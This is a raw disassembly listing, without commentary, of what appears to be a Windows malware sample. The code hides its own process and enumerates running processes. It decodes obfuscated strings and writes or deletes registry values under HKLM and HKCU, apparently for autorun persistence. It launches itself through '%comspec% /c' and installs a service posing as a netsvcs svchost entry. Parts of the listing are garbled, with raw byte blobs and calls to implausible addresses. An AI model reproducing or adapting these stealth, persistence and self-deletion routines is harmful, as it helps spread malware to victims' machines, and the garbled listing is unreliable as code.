mov edi, dword_511918
push offset aRegisterservic ; "RegisterServiceProcess"
push esi
call edi
push offset aCreatetoolhelp ; "CreateToolhelp32Snapshot"
push esi
mov dword_449084, eax
call edi
push offset aProcess32first ; "Process32First"
push esi
mov dword_449080, eax
call edi
push offset aProcess32next ; "Process32Next"
push esi
mov dword_44907C, eax
call edi
mov dword_448F48, eax
mov eax, dword_449084
test eax, eax
jz short loc_40D751
push ebx
push 0
call eax
loc_40D751: ; CODE XREF: sub_40D660+A7j
; sub_40D660+EAj
mov esi, [esp+1A8h+arg_0]
push 0
mov ecx, esi
call sub_4017EE
push eax
lea ecx, [esp+1B0h+var_184]
call sub_402135
test eax, eax
jnz short loc_40D788
mov al, byte_44916F
test al, al
jz short loc_40D788
mov ecx, esi
call sub_4017EE
push eax
call sub_401604
; ---------------------------------------------------------------------------
add esp, 4
loc_40D788: ; CODE XREF: sub_40D660+10Dj
; sub_40D660+116j
push 0
push 5
push 18h
push 5
push 4Eh
push 46h
push 47h
push 12h
push 10h
push 10h
push 0Eh
push 9
lea eax, [esp+1D8h+var_19C]
push 17h
push eax
call sub_4019C4
add esp, 38h
mov ecx, eax
mov byte ptr [esp+1A8h+var_4], 2
call sub_4017EE
push eax
call sub_401604
sub_40D660 endp
; ---------------------------------------------------------------------------
add esp, 4
lea ecx, [esp+0Ch]
mov [esp+1A4h], bl
call sub_401226
push 0
push 5
push 18h
push 5
push 4Eh
push 14h
push 13h
push 0Fh
push 8
push 0Ch
push 0Ch
lea ecx, [esp+38h]
push 4
push ecx
call sub_4019C4
add esp, 34h
mov ecx, eax
mov byte ptr [esp+1A4h], 3
call sub_4017EE
push eax
call sub_401604
; ---------------------------------------------------------------------------
add esp, 4
lea ecx, [esp+0Ch]
mov [esp+1A4h], bl
call sub_401226
push 0
push 5
push 18h
push 5
push 4Eh
push 4
push 10h
push 14h
push 6
lea edx, [esp+30h]
push 14h
push edx
call sub_4019C4
add esp, 2Ch
mov ecx, eax
mov byte ptr [esp+1A4h], 4
call sub_4017EE
push eax
call sub_401604
; ---------------------------------------------------------------------------
add esp, 4
lea ecx, [esp+0Ch]
mov [esp+1A4h], bl
call sub_401226
push 0
push 5
push 18h
push 5
push 4Eh
push 14h
push 13h
push ebx
push 0Ch
push 2
push 13h
lea eax, [esp+38h]
push 0Dh
push eax
call sub_4019C4
add esp, 34h
mov ecx, eax
mov byte ptr [esp+1A4h], 5
call sub_4017EE
push eax
call sub_401604
; ---------------------------------------------------------------------------
add esp, 4
lea ecx, [esp+0Ch]
mov [esp+1A4h], bl
call sub_401226
push 0
push 5
push 18h
push 5
push 4Eh
push 46h
push 47h
push 13h
push 9
push 0Eh
push 5
lea ecx, [esp+38h]
push 10h
push ecx
call sub_4019C4
add esp, 34h
mov ecx, eax
mov byte ptr [esp+1A4h], 6
call sub_4017EE
push eax
call sub_401604
; ---------------------------------------------------------------------------
add esp, 4
lea ecx, [esp+0Ch]
mov [esp+1A4h], bl
call sub_401226
push 0
push 5
push 18h
push 5
push 4Eh
push 8
push 3
push 14h
push ebx
push 10h
push 13h
lea edx, [esp+38h]
push 0Dh
push edx
call sub_4019C4
add esp, 34h
mov ecx, eax
mov byte ptr [esp+1A4h], 7
call sub_4017EE
push eax
call sub_401604
; ---------------------------------------------------------------------------
db 83h
dd 4C8D04C4h, 9C880C24h, 1A424h, 38D4E800h, 448DFFFFh
dd 6A3C24h, 244C8D50h, 3EB4E82Ch, 0C085FFFFh, 116850Fh
dd 8B550000h, 3E7CE8CEh, 6A50FFFFh, 244C8D5Ch, 3E70E848h
dd 8D50FFFFh, 0A8248Ch, 18680000h, 5100444Bh, 9B3FE890h
dd 3D8B001Eh, 5118ACh, 0FF14C483h, 24948DD7h, 9Ch, 8D52006Ah
dd 8B30244Ch, 3CD9E8E8h, 358BFFFFh, 511914h, 85D6FF50h
dd 0FF3075C0h, 3DC52BD7h, 61A8h, 0D0682573h, 90000007h
dd 42262BE8h, 24848D02h, 9Ch, 8D50006Ah, 0E830244Ch, 0FFFF3CA3h
dd 85D6FF50h, 0A0D074C0h, 4497CBh, 74C0845Dh, 0D8358B39h
dd 6800511Ah, 104h, 9C248C8Dh, 68000000h, 444B10h, 83D6FF51h
dd 4C8D0CC4h, 4682424h, 0E8000001h, 0FFFF3DCAh, 9C24948Dh
dd 50000000h, 83D6FF52h, 11B90CC4h, 33000000h, 247C8DC0h
dd 24948D54h, 98h, 8966ABF3h, 842484h, 448D0000h, 4C8D0C24h
dd 51505424h, 6A006Ah, 6A53286Ah, 52006A00h, 44C7006Ah
dd 447C24h, 33E80000h, 90023E2Ah, 874C085h, 0E890006Ah
dd 7782C3FEh, 24244C8Dh, 0A42484C6h, 1, 0FF3795E8h, 244C8DFFh
dd 2484C73Ch, 1A4h, 0FFFFFFFFh, 0FF3781E8h, 248C8BFFh
dd 19Ch, 5EC38A5Fh, 0D89645Bh, 0
; ---------------------------------------------------------------------------
add esp, 19Ch
retn 4
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 120h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40DBF0 proc near ; CODE XREF: sub_401195j
mov al, byte_449171
test al, al
jz short loc_40DC04
push offset word_449172
nop
call near ptr 27E0C41h
loc_40DC04: ; CODE XREF: sub_40DBF0+7j
mov al, 1
retn
sub_40DBF0 endp
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40DC20 proc near ; CODE XREF: sub_401E79j
var_6D0 = dword ptr -6D0h
var_6CC = dword ptr -6CCh
var_6C8 = dword ptr -6C8h
var_6C4 = dword ptr -6C4h
var_6C0 = dword ptr -6C0h
var_6BC = dword ptr -6BCh
var_6B8 = dword ptr -6B8h
var_6B4 = dword ptr -6B4h
var_6B0 = byte ptr -6B0h
var_6AC = byte ptr -6ACh
var_694 = byte ptr -694h
var_67C = byte ptr -67Ch
var_664 = byte ptr -664h
var_64C = byte ptr -64Ch
var_634 = byte ptr -634h
var_61C = byte ptr -61Ch
var_604 = byte ptr -604h
var_5EC = byte ptr -5ECh
var_5D4 = byte ptr -5D4h
var_5BC = byte ptr -5BCh
var_5A4 = byte ptr -5A4h
var_58C = byte ptr -58Ch
var_574 = byte ptr -574h
var_564 = dword ptr -564h
var_534 = word ptr -534h
var_520 = byte ptr -520h
var_41C = byte ptr -41Ch
var_318 = byte ptr -318h
var_214 = byte ptr -214h
var_110 = byte ptr -110h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_40DC20
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 6C4h
push esi
lea eax, [esp+6D4h+var_41C]
push 104h
push eax
push 0
nop
call near ptr 2871C12h
push eax
nop
call near ptr 287102Ch
lea ecx, [esp+6D4h+var_318]
push ecx
push 104h
nop
call near ptr 27D0000h
push 0
push 14h
push 1
push 2
push 4Fh
push 0Fh
push 12h
push 6
lea edx, [esp+6F4h+var_5EC]
push 1
push edx
call sub_4019C4
add esp, 28h
mov ecx, eax
mov [esp+6D4h+var_4], 0
call sub_4017EE
push eax
lea eax, [esp+6D8h+var_318]
push eax
lea ecx, [esp+6DCh+var_520]
push offset dword_444684
push ecx
nop
call sub_5F74D1
add esp, 10h
lea ecx, [esp+6D4h+var_5EC]
mov [esp+6D4h+var_4], 0FFFFFFFFh
call sub_401226
push 0
push 0
push 2
push 0
push 0
lea edx, [esp+6E8h+var_520]
push 40000000h
push edx
call near ptr 2850440h
nop
mov esi, eax
test esi, esi
jbe loc_40E178
push ebx
push ebp
push edi
lea ecx, [esp+6E0h+var_6AC]
call sub_40142E
push 0
push 14h
push 1
push 2
lea eax, [esp+6F0h+var_604]
push 4Fh
push eax
mov [esp+6F8h+var_4], 1
call sub_4019C4
mov edi, eax
push 0
push 39h
push 10h
push 0Dh
push 5
push 14h
push 39h
push 4Eh
push 0Ch
push 5
lea ecx, [esp+720h+var_634]
push 4
push ecx
mov byte ptr [esp+728h+var_4], 2
call sub_4019C4
add esp, 48h
mov ebp, eax
push 0
push 14h
push 1
push 2
lea edx, [esp+6F0h+var_664]
push 4Fh
push edx
mov byte ptr [esp+6F8h+var_4], 3
call sub_4019C4
mov ebx, eax
push 0
push 39h
push 10h
push 0Dh
push 5
push 14h
push 39h
push 4Eh
push 20h
push 52h
push 4Eh
push 0Ch
push 5
lea eax, [esp+72Ch+var_67C]
push 4
push eax
mov byte ptr [esp+734h+var_4], 4
call sub_4019C4
add esp, 54h
mov [esp+6E0h+var_6B4], eax
push 0
push 5
push 0Eh
push 0Fh
push 4
lea ecx, [esp+6F4h+var_61C]
push 53h
push ecx
mov byte ptr [esp+6FCh+var_4], 5
call sub_4019C4
mov [esp+6FCh+var_6C8], eax
mov byte ptr [esp+6FCh+var_4], 6
push 0
push 14h
push 12h
push 1
push 14h
push 13h
push 4Eh
push 0Fh
push 14h
push 0Fh
lea edx, [esp+724h+var_5D4]
push 7
push edx
call sub_4019C4
add esp, 4Ch
mov [esp+6E0h+var_6B8], eax
push 0
push 54h
push 54h
push 45h
push 39h
push 54h
push 54h
push 4Eh
push 0Ch
push 5
lea eax, [esp+708h+var_5A4]
push 4
push eax
mov byte ptr [esp+710h+var_4], 7
call sub_4019C4
mov [esp+710h+var_6C0], eax
push 0
push 54h
push 54h
push 45h
push 39h
push 54h
push 54h
push 4Eh
push 20h
push 52h
push 4Eh
push 0Ch
push 5
lea ecx, [esp+744h+var_58C]
push 4
push ecx
mov byte ptr [esp+74Ch+var_4], 8
call sub_4019C4
add esp, 6Ch
mov [esp+6E0h+var_6D0], eax
push 0
push 5
push 0Eh
push 0Fh
push 4
push 4Eh
push 0Fh
push 14h
push 0Fh
push 7
push 4Eh
push 54h
push 54h
push 45h
push 39h
push 54h
push 54h
push 4Eh
push 14h
push 13h
push 9
push 18h
push 5
push 4Eh
push 14h
mov byte ptr [esp+744h+var_4], 9
push 0Fh
push 0Eh
push 4Eh
push 6
lea edx, [esp+754h+var_694]
push 9
push edx
call sub_4019C4
mov [esp+75Ch+var_6CC], eax
push 0
push 14h
push 12h
push 1
push 14h
push 13h
lea eax, [esp+774h+var_5BC]
push 53h
push eax
mov byte ptr [esp+77Ch+var_4], 0Ah
call sub_4019C4
add esp, 9Ch
mov [esp+6E0h+var_6C4], eax
push 0
push 6
push 6
push 0Fh
push 4Eh
push 0Fh
push 8
push 3
push 5
lea ecx, [esp+704h+var_64C]
push 56h
push ecx
mov byte ptr [esp+70Ch+var_4], 0Bh
call sub_4019C4
add esp, 2Ch
mov [esp+6E0h+var_6BC], eax
mov ecx, edi
mov byte ptr [esp+6E0h+var_4], 0Ch
call sub_4017EE
push eax
mov ecx, ebp
call sub_4017EE
push eax
mov ecx, ebx
call sub_4017EE
mov ecx, [esp+6E8h+var_6B4]
push eax
call sub_4017EE
mov ecx, [esp+6ECh+var_6C8]
push eax
call sub_4017EE
mov ecx, [esp+6F0h+var_6B8]
push eax
call sub_4017EE
mov ecx, [esp+6F4h+var_6C0]
push eax
call sub_4017EE
mov ecx, [esp+6F8h+var_6D0]
push eax
call sub_4017EE
mov ecx, [esp+6FCh+var_6CC]
push eax
call sub_4017EE
mov ecx, [esp+700h+var_6C4]
push eax
call sub_4017EE
mov ecx, [esp+704h+var_6BC]
push eax
call sub_4017EE
push eax
lea edx, [esp+70Ch+var_6AC]
push offset aSSSSSSSSSS ; "%s\r\n%s\r\n%s\r\n%s\r\n%s\r\n%s\r\n%s\r%s\r\n%s\r%s\r\n"
push edx
call sub_40102D
add esp, 34h
mov byte ptr [esp+6E0h+var_4], 0Bh
lea ecx, [esp+6E0h+var_64C]
call sub_401226
lea ecx, [esp+6E0h+var_5BC]
mov byte ptr [esp+6E0h+var_4], 0Ah
call sub_401226
lea ecx, [esp+6E0h+var_694]
mov byte ptr [esp+6E0h+var_4], 9
call sub_401226
lea ecx, [esp+6E0h+var_58C]
mov byte ptr [esp+6E0h+var_4], 8
call sub_401226
lea ecx, [esp+6E0h+var_5A4]
mov byte ptr [esp+6E0h+var_4], 7
call sub_401226
lea ecx, [esp+6E0h+var_5D4]
mov byte ptr [esp+6E0h+var_4], 6
call sub_401226
lea ecx, [esp+6E0h+var_61C]
mov byte ptr [esp+6E0h+var_4], 5
call sub_401226
lea ecx, [esp+6E0h+var_67C]
mov byte ptr [esp+6E0h+var_4], 4
call sub_401226
lea ecx, [esp+6E0h+var_664]
mov byte ptr [esp+6E0h+var_4], 3
call sub_401226
lea ecx, [esp+6E0h+var_634]
mov byte ptr [esp+6E0h+var_4], 2
call sub_401226
lea ecx, [esp+6E0h+var_604]
mov byte ptr [esp+6E0h+var_4], 1
call sub_401226
lea eax, [esp+6E0h+var_6B0]
push 0
push eax
push 69h
lea ecx, [esp+6ECh+var_6AC]
call sub_4017EE
push eax
push esi
call near ptr 27E0000h
nop
push esi
nop
call near ptr 2830910h
mov ecx, 11h
xor eax, eax
lea edi, [esp+6E0h+var_564]
push 104h
rep stosd
lea ecx, [esp+6E4h+var_41C]
mov [esp+6E4h+var_564], 44h
push ecx
push eax
mov [esp+6ECh+var_534], ax
nop
call near ptr 2871C12h
push eax
nop
call near ptr 287102Ch
lea edx, [esp+6E0h+var_41C]
lea eax, [esp+6E0h+var_520]
push edx
push eax
lea ecx, [esp+6E8h+var_214]
push offset aComspecCSS ; "%%comspec%% /c %s %s"
push ecx
call sub_5F74D1
nop
add esp, 10h
lea edx, [esp+6E0h+var_110]
lea eax, [esp+6E0h+var_214]
push 104h
push edx
push eax
call near ptr 2800000h
nop
lea ecx, [esp+6E0h+var_574]
lea edx, [esp+6E0h+var_564]
push ecx
push edx
push 0
push 0
push 28h
push 1
push 0
push 0
lea eax, [esp+700h+var_110]
push eax
push 0
nop
call near ptr 27F04A6h
lea ecx, [esp+6E0h+var_6AC]
mov [esp+6E0h+var_4], 0FFFFFFFFh
call sub_401226
pop edi
pop ebp
pop ebx
mov al, 1
pop esi
mov ecx, [esp+6D0h+var_C]
mov large fs:0, ecx
add esp, 6D0h
retn
; ---------------------------------------------------------------------------
loc_40E178: ; CODE XREF: sub_40DC20+D6j
mov ecx, [esp+6D4h+var_C]
mov al, 1
pop esi
mov large fs:0, ecx
add esp, 6D0h
retn
sub_40DC20 endp
; ---------------------------------------------------------------------------
db 160h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40E2F0 proc near ; CODE XREF: sub_401730j
var_70 = dword ptr -70h
var_6C = byte ptr -6Ch
var_54 = byte ptr -54h
var_3C = byte ptr -3Ch
var_24 = byte ptr -24h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push 0FFFFFFFFh
push offset SEH_40E2F0
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 64h
push ebx
push ebp
push esi
push edi
lea ecx, [esp+80h+var_54]
call sub_40142E
lea ecx, [esp+80h+var_6C]
mov [esp+80h+var_4], 0
call sub_40142E
lea ecx, [esp+80h+var_3C]
mov byte ptr [esp+80h+var_4], 1
call sub_40142E
push 0
push 5
push 3
push 0Eh
push 29h
push 0Eh
push 15h
push 2Ch
push 50h
push 0Eh
push 0Fh
push 9
push 13h
push 12h
push 5
push 30h
push 14h
push 0Eh
push 5
push 12h
push 12h
push 15h
push 1Dh
push 50h
push 13h
push 17h
push 0Fh
push 4
push 0Eh
push 9
push 31h
push 50h
push 14h
push 6
push 0Fh
push 13h
push 0Fh
push 12h
push 3
push 9
push 27h
push 50h
push 5
push 12h
push 1
push 17h
push 14h
push 6
push 0Fh
lea eax, [esp+144h+var_24]
mov bl, 2
push 2Dh
push eax
mov byte ptr [esp+14Ch+var_4], bl
call sub_4019C4
add esp, 0CCh
push eax
lea ecx, [esp+84h+var_6C]
mov byte ptr [esp+84h+var_4], 3
call sub_40202C
lea ecx, [esp+80h+var_24]
mov byte ptr [esp+80h+var_4], bl
call sub_401226
push 0
push 13h
push 5
push 3
push 9
push 16h
push 12h
push 5
push 2Dh
push 0Eh
push 15h
push 2Ch
push 50h
push 0Eh
push 0Fh
push 9
push 13h
push 12h
push 5
push 30h
push 14h
push 0Eh
push 5
push 12h
push 12h
push 15h
push 1Dh
push 50h
push 13h
push 17h
push 0Fh
push 4
push 0Eh
push 9
push 31h
push 50h
push 14h
push 6
push 0Fh
push 13h
push 0Fh
push 12h
push 3
push 9
push 27h
push 50h
push 5
push 12h
push 1
push 17h
push 14h
push 6
push 0Fh
lea ecx, [esp+154h+var_24]
push 2Dh
push ecx
call sub_4019C4
add esp, 0DCh
push eax
lea ecx, [esp+84h+var_3C]
mov byte ptr [esp+84h+var_4], 4
call sub_40202C
lea ecx, [esp+80h+var_24]
mov byte ptr [esp+80h+var_4], bl
call sub_401226
push 0
push 0Eh
push 15h
push 2Ch
push 50h
push 0Eh
push 0Fh
push 9
push 13h
push 12h
push 5
push 30h
push 14h
push 0Eh
push 5
push 12h
push 12h
push 15h
push 1Dh
push 50h
push 13h
push 17h
push 0Fh
push 4
push 0Eh
push 9
push 31h
push 50h
push 14h
push 6
push 0Fh
push 13h
push 0Fh
push 12h
push 3
push 9
push 27h
push 50h
push 5
push 12h
push 1
push 17h
push 14h
push 6
push 0Fh
lea edx, [esp+134h+var_24]
push 2Dh
push edx
call sub_4019C4
add esp, 0BCh
push eax
lea ecx, [esp+84h+var_54]
mov byte ptr [esp+84h+var_4], 5
call sub_40202C
lea ecx, [esp+80h+var_24]
mov byte ptr [esp+80h+var_4], bl
call sub_401226
lea eax, [esp+80h+var_70]
push 0
push eax
push 0
push 0F003Fh
push 0
push 0
push 0
lea ecx, [esp+9Ch+var_54]
call sub_4017EE
mov ebp, dword_51175C
push eax
push 80000002h
call ebp
mov esi, [esp+80h+arg_4]
mov ecx, esi
call sub_40168B
mov edi, eax
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
dec ecx
push ecx
mov ecx, esi
call sub_40168B
mov ebx, [esp+84h+arg_0]
push eax
push 1
push 0
mov ecx, ebx
call sub_40168B
mov ecx, [esp+90h+var_70]
push eax
push ecx
call near ptr 2930000h
nop
mov edx, [esp+80h+var_70]
push edx
call near ptr 28F0000h
nop
push 0
lea eax, [esp+84h+var_70]
lea ecx, [esp+84h+var_6C]
push eax
push 0
push 0F003Fh
push 0
push 0
push 0
call sub_4017EE
push eax
push 80000002h
call ebp
mov ecx, esi
call sub_40168B
mov edi, eax
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
dec ecx
push ecx
mov ecx, esi
call sub_40168B
push eax
push 1
push 0
mov ecx, ebx
call sub_40168B
mov ecx, [esp+90h+var_70]
push eax
push ecx
call near ptr 2930000h
nop
mov edx, [esp+80h+var_70]
push edx
nop
call near ptr 28F0000h
lea eax, [esp+80h+var_70]
push 0
push eax
push 0
push 0F003Fh
push 0
push 0
push 0
lea ecx, [esp+9Ch+var_54]
call sub_4017EE
push eax
push 80000001h
call ebp
mov ecx, esi
call sub_40168B
mov edi, eax
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
dec ecx
push ecx
mov ecx, esi
call sub_40168B
push eax
push 1
push 0
mov ecx, ebx
call sub_40168B
mov ecx, [esp+90h+var_70]
push eax
push ecx
nop
call near ptr 2930000h
mov edx, [esp+80h+var_70]
push edx
nop
call near ptr 28F0000h
lea eax, [esp+80h+var_70]
push 0
push eax
push 0
push 0F003Fh
push 0
push 0
push 0
lea ecx, [esp+9Ch+var_6C]
call sub_4017EE
push eax
push 80000001h
call ebp
mov ecx, esi
call sub_40168B
mov edi, eax
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
dec ecx
push ecx
mov ecx, esi
call sub_40168B
push eax
push 1
push 0
mov ecx, ebx
call sub_40168B
mov ecx, [esp+90h+var_70]
push eax
push ecx
nop
call near ptr 2930000h
mov edx, [esp+80h+var_70]
push edx
call near ptr 28F0000h
nop
lea eax, [esp+80h+var_70]
push 0
push eax
push 0
push 0F003Fh
push 0
push 0
push 0
lea ecx, [esp+9Ch+var_3C]
call sub_4017EE
push eax
push 80000002h
call ebp
mov ecx, esi
call sub_40168B
mov edi, eax
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
dec ecx
push ecx
mov ecx, esi
call sub_40168B
push eax
push 1
push 0
mov ecx, ebx
call sub_40168B
mov ecx, [esp+90h+var_70]
push eax
push ecx
nop
call near ptr 2930000h
mov edx, [esp+80h+var_70]
push edx
nop
call near ptr 28F0000h
lea ecx, [esp+80h+var_3C]
mov byte ptr [esp+80h+var_4], 1
call sub_401226
lea ecx, [esp+80h+var_6C]
mov byte ptr [esp+80h+var_4], 0
call sub_401226
lea ecx, [esp+80h+var_54]
mov [esp+80h+var_4], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+80h+var_C]
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
mov large fs:0, ecx
add esp, 70h
retn 8
sub_40E2F0 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 120h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40E870 proc near ; CODE XREF: sub_401451j
var_70 = dword ptr -70h
var_6C = byte ptr -6Ch
var_54 = byte ptr -54h
var_3C = byte ptr -3Ch
var_24 = byte ptr -24h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
push 0FFFFFFFFh
push offset SEH_40E870
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 64h
push ebx
push ebp
push esi
push edi
lea ecx, [esp+80h+var_6C]
call sub_40142E
lea ecx, [esp+80h+var_3C]
mov [esp+80h+var_4], 0
call sub_40142E
lea ecx, [esp+80h+var_54]
mov byte ptr [esp+80h+var_4], 1
call sub_40142E
push 0
push 5
push 3
push 0Eh
push 29h
push 0Eh
push 15h
push 2Ch
push 50h
push 0Eh
push 0Fh
push 9
push 13h
push 12h
push 5
push 30h
push 14h
push 0Eh
push 5
push 12h
push 12h
push 15h
push 1Dh
push 50h
push 13h
push 17h
push 0Fh
push 4
push 0Eh
push 9
push 31h
push 50h
push 14h
push 6
push 0Fh
push 13h
push 0Fh
push 12h
push 3
push 9
push 27h
push 50h
push 5
push 12h
push 1
push 17h
push 14h
push 6
push 0Fh
lea eax, [esp+144h+var_24]
mov bl, 2
push 2Dh
push eax
mov byte ptr [esp+14Ch+var_4], bl
call sub_4019C4
add esp, 0CCh
push eax
lea ecx, [esp+84h+var_3C]
mov byte ptr [esp+84h+var_4], 3
call sub_40202C
lea ecx, [esp+80h+var_24]
mov byte ptr [esp+80h+var_4], bl
call sub_401226
push 0
push 13h
push 5
push 3
push 9
push 16h
push 12h
push 5
push 2Dh
push 0Eh
push 15h
push 2Ch
push 50h
push 0Eh
push 0Fh
push 9
push 13h
push 12h
push 5
push 30h
push 14h
push 0Eh
push 5
push 12h
push 12h
push 15h
push 1Dh
push 50h
push 13h
push 17h
push 0Fh
push 4
push 0Eh
push 9
push 31h
push 50h
push 14h
push 6
push 0Fh
push 13h
push 0Fh
push 12h
push 3
push 9
push 27h
push 50h
push 5
push 12h
push 1
push 17h
push 14h
push 6
push 0Fh
lea ecx, [esp+154h+var_24]
push 2Dh
push ecx
call sub_4019C4
add esp, 0DCh
push eax
lea ecx, [esp+84h+var_54]
mov byte ptr [esp+84h+var_4], 4
call sub_40202C
lea ecx, [esp+80h+var_24]
mov byte ptr [esp+80h+var_4], bl
call sub_401226
push 0
push 0Eh
push 15h
push 2Ch
push 50h
push 0Eh
push 0Fh
push 9
push 13h
push 12h
push 5
push 30h
push 14h
push 0Eh
push 5
push 12h
push 12h
push 15h
push 1Dh
push 50h
push 13h
push 17h
push 0Fh
push 4
push 0Eh
push 9
push 31h
push 50h
push 14h
push 6
push 0Fh
push 13h
push 0Fh
push 12h
push 3
push 9
push 27h
push 50h
push 5
push 12h
push 1
push 17h
push 14h
push 6
push 0Fh
lea edx, [esp+134h+var_24]
push 2Dh
push edx
call sub_4019C4
add esp, 0BCh
push eax
lea ecx, [esp+84h+var_6C]
mov byte ptr [esp+84h+var_4], 5
call sub_40202C
lea ecx, [esp+80h+var_24]
mov byte ptr [esp+80h+var_4], bl
call sub_401226
lea eax, [esp+80h+var_70]
push 0
push eax
push 0
push 0F003Fh
push 0
push 0
push 0
lea ecx, [esp+9Ch+var_6C]
call sub_4017EE
mov esi, dword_51175C
push eax
push 80000002h
call esi
mov edi, [esp+80h+arg_0]
mov ecx, edi
call sub_40168B
mov ecx, [esp+80h+var_70]
mov ebp, dword_51176C
push eax
push ecx
call ebp
mov edx, [esp+80h+var_70]
mov ebx, dword_511740
push edx
call ebx
lea eax, [esp+80h+var_70]
push 0
push eax
push 0
push 0F003Fh
push 0
push 0
push 0
lea ecx, [esp+9Ch+var_54]
call sub_4017EE
push eax
push 80000002h
call esi
mov ecx, edi
call sub_40168B
mov ecx, [esp+80h+var_70]
push eax
push ecx
call ebp
mov edx, [esp+80h+var_70]
push edx
call ebx
lea eax, [esp+80h+var_70]
push 0
push eax
push 0
push 0F003Fh
push 0
push 0
push 0
lea ecx, [esp+9Ch+var_6C]
call sub_4017EE
push eax
push 80000002h
call esi
mov ecx, edi
call sub_40168B
mov ecx, [esp+80h+var_70]
push eax
push ecx
call ebp
mov edx, [esp+80h+var_70]
push edx
call ebx
lea eax, [esp+80h+var_70]
push 0
push eax
push 0
push 0F003Fh
push 0
push 0
push 0
lea ecx, [esp+9Ch+var_6C]
call sub_4017EE
push eax
push 80000001h
call esi
mov ecx, edi
call sub_40168B
mov ecx, [esp+80h+var_70]
push eax
push ecx
call ebp
mov edx, [esp+80h+var_70]
push edx
call ebx
lea eax, [esp+80h+var_70]
push 0
push eax
push 0
push 0F003Fh
push 0
push 0
push 0
lea ecx, [esp+9Ch+var_3C]
call sub_4017EE
push eax
push 80000001h
call esi
mov ecx, edi
call sub_40168B
mov ecx, [esp+80h+var_70]
push eax
push ecx
call ebp
mov edx, [esp+80h+var_70]
push edx
call ebx
lea ecx, [esp+80h+var_54]
mov byte ptr [esp+80h+var_4], 1
call sub_401226
lea ecx, [esp+80h+var_3C]
mov byte ptr [esp+80h+var_4], 0
call sub_401226
mov [esp+80h+var_4], 0FFFFFFFFh
lea ecx, [esp+80h+var_6C]
call sub_401226
mov ecx, [esp+80h+var_C]
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
mov large fs:0, ecx
add esp, 70h
retn 4
sub_40E870 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 0F0h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40ED00 proc near ; CODE XREF: sub_4014A1j
var_54 = byte ptr -54h
var_3C = byte ptr -3Ch
var_24 = byte ptr -24h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push 0FFFFFFFFh
push offset SEH_40ED00
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 48h
push ebx
push esi
mov esi, ecx
lea ecx, [esp+5Ch+var_24]
call sub_40142E
push 104h
push 104h
lea ecx, [esp+64h+var_24]
mov [esp+64h+var_4], 0
call sub_401C71
push eax
nop
call near ptr 27F0000h
lea ecx, [esp+5Ch+var_3C]
call sub_40142E
mov ecx, [esp+5Ch+arg_4]
mov byte ptr [esp+5Ch+var_4], 1
call sub_4017EE
push eax
lea ecx, [esp+60h+var_24]
call sub_4017EE
push eax
lea eax, [esp+64h+var_3C]
push offset dword_444684
push eax
call sub_40102D
add esp, 10h
lea ecx, [esp+5Ch+var_54]
call sub_40142E
lea ecx, [esp+5Ch+var_54]
push offset aNetsvcs ; "-netsvcs"
push ecx
mov byte ptr [esp+64h+var_4], 2
call sub_40102D
mov ecx, [esp+64h+arg_0]
add esp, 8
lea edx, [esp+5Ch+var_54]
lea eax, [esp+5Ch+var_3C]
push edx
push eax
push ecx
mov ecx, esi
call sub_402171
lea ecx, [esp+5Ch+var_54]
mov bl, al
mov byte ptr [esp+5Ch+var_4], 1
call sub_401226
lea ecx, [esp+5Ch+var_3C]
mov byte ptr [esp+5Ch+var_4], 0
call sub_401226
lea ecx, [esp+5Ch+var_24]
mov [esp+5Ch+var_4], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+5Ch+var_C]
mov al, bl
pop esi
pop ebx
mov large fs:0, ecx
add esp, 54h
retn 8
sub_40ED00 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 40h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40EE40 proc near ; CODE XREF: sub_402171j
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = byte ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = byte ptr -24h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push 0FFFFFFFFh
push offset SEH_40EE40
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 38h
push ebx
push ebp
push esi
push edi
push 0F003Fh
push offset aServicesactive ; "ServicesActive"
mov [esp+5Ch+var_44], ecx
push 0
call near ptr 28F0B72h
nop
mov edi, eax
test edi, edi
jnz short loc_40EE7F
xor al, al
jmp loc_40EFD0
; ---------------------------------------------------------------------------
loc_40EE7F: ; CODE XREF: sub_40EE40+36j
lea ecx, [esp+54h+var_24]
call sub_40142E
mov ecx, [esp+54h+arg_8]
mov [esp+54h+var_4], 0
call sub_4017EE
mov ebx, [esp+54h+arg_4]
push eax
mov ecx, ebx
call sub_4017EE
push eax
lea eax, [esp+5Ch+var_24]
push offset aSS_4 ; "\"%s\" %s"
push eax
call sub_40102D
add esp, 10h
